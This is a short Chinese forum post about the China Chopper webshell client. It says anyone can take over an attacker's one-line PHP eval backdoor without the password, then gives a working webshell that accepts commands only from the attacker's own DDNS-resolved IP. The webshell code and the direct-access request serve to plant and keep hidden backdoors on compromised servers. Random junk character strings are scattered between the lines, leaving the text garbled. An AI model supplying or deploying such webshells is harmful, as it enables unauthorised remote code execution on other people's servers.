今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞
4 p8 _9 ~( T9 B" p3 a5 l( h, O( R. i, u- A7 E% s
就算你设置了密码,使用了eval($_REQUEST['moyo']);
. |+ l) J% B" j Y8 I% x3 C6 W2 |- d
但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门
1 f2 u- Z) n! R, m% G
, K9 C0 `% l7 y0 n! [) e/ W9 }% ]因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));* f$ t m" [& E! Q+ n3 D* l" D! p
7 h8 v& q4 ?' g# p* h4 y
直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了/ e( ?) f; \& x; ?/ `" s1 G5 h
+ ~, t2 s2 Z$ A3 k5 R" R不知道是设计缺陷还是故意留的后门- M- P6 F* i' H0 Q. i
. m4 k& \5 p B" y
如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用
6 I& w& {, n% E! ]4 f; _3 r
* y: C1 O, F. U0 `本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org8 b) {# i( u7 ?, ]5 e4 ]
1 N! |5 i3 H" j4 e
然后一句话后门这样写; j$ z* |* l; u# Y5 r" E* |3 D
! _& X9 I m8 u6 @1 p<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
) o# p* p3 f$ @$ E8 G8 S5 J这样就可以让一句话后门只允许自己的电脑连接了, F; A( v- Q0 x5 l
1 @0 @& \6 R# \# h1 D
|